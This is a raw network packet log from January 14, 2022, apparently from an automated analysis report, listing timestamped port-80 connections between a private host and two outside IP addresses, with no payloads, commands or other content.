Jan 14, 2022 02:05:13.346431017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346438885 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346461058 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346481085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346487045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346513033 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346525908 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346534014 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346558094 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346577883 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346597910 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346601009 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346620083 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346641064 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346662045 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346673965 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346683979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346705914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346712112 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346728086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346750021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346770048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346790075 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346796036 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346812010 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346829891 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346836090 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346857071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346877098 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346896887 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346898079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346920967 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346940994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346957922 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.346961975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.346982956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347003937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347016096 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347024918 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347062111 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347075939 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347091913 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347114086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347135067 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347156048 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347177029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347182035 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347199917 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347199917 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347219944 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347242117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347261906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347265005 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347282887 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347304106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347304106 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347325087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347328901 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347347021 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347368002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347368956 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347388983 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347409964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347419024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347431898 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347451925 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347471952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347486973 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347495079 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347517014 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347532988 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347537994 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347558975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347579002 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347589016 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347600937 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347619057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347620964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347642899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347662926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.347687960 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.347723961 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384006023 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384063005 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384099960 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384139061 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384177923 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384213924 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384253025 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384293079 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384329081 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384329081 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384362936 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384368896 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384387016 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384411097 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384450912 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384489059 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384495974 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384527922 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384557962 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384567022 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384607077 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384644032 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384664059 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384682894 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384712934 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384721041 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384771109 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384795904 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384813070 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384849072 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384887934 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384906054 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384927988 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.384955883 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.384964943 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385004044 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385021925 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385042906 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385087013 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385124922 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385149956 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385160923 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385196924 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385200024 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385240078 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385265112 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385277033 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385315895 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385353088 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385376930 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385389090 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385426998 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.385427952 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385467052 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.385483027 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.419588089 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419636011 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419677973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419714928 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419733047 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.419754982 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419765949 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.419796944 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419835091 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419852972 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.419874907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419913054 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419953108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.419980049 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.419994116 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420006990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420032978 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420079947 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420123100 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420159101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420178890 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420192003 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420201063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420241117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420274973 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420277119 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420315981 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420353889 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420360088 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420392036 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420413017 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420432091 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420473099 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420511961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420525074 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420550108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420587063 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420595884 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420627117 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420659065 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420665979 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420705080 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420721054 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420744896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420783043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420804024 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420821905 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420861006 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420897007 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420924902 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420936108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.420939922 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.420974970 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421014071 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421046019 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421056986 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421093941 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421130896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421133995 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421169043 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421175957 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421205997 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421243906 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421279907 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421299934 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421319962 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421343088 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421360016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421396017 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421433926 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421452045 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421473026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421498060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421509027 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421547890 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421586037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421624899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421629906 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421641111 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421664000 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421700954 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421739101 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421766996 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421777964 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421814919 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421823978 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421881914 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421894073 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.421925068 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421962023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.421986103 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422003031 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422043085 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422079086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422117949 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422133923 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422157049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422182083 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422193050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422229052 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422233105 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422271967 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422280073 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422310114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422348976 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422384977 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422401905 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422424078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422460079 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422465086 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422502995 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422542095 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422579050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422590971 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422633886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422636986 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422672987 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422693014 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422710896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422754049 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422795057 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422801971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422842026 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422878027 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.422880888 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422919989 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422955990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.422992945 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423003912 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423015118 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423031092 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423070908 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423110008 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423146963 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423166990 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423176050 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423185110 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423223972 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423259974 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423299074 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423315048 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423327923 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423336029 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423374891 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423413992 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423427105 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423449993 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423464060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423490047 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423530102 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423567057 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423593998 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423635006 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.423938990 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.423985004 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.424185038 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.431298018 CET	49871	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:13.461836100 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.461976051 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462033033 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462055922 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462110996 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462117910 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462181091 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462240934 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462244987 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462300062 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462340117 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462352991 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462378979 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462414980 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462455034 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462470055 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462493896 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462500095 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462532043 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462573051 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462599993 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462609053 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462647915 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462686062 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462697983 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462723017 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462734938 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462769032 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462807894 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462847948 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462860107 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462888002 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462901115 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.462924004 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.462963104 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463004112 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463026047 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463041067 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463068008 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463078976 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463119030 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463156939 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463171005 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463196039 CET	80	49869	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:13.463210106 CET	49869	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:13.463233948 CET	80	49869	141.8.194.74	192.168.2.3
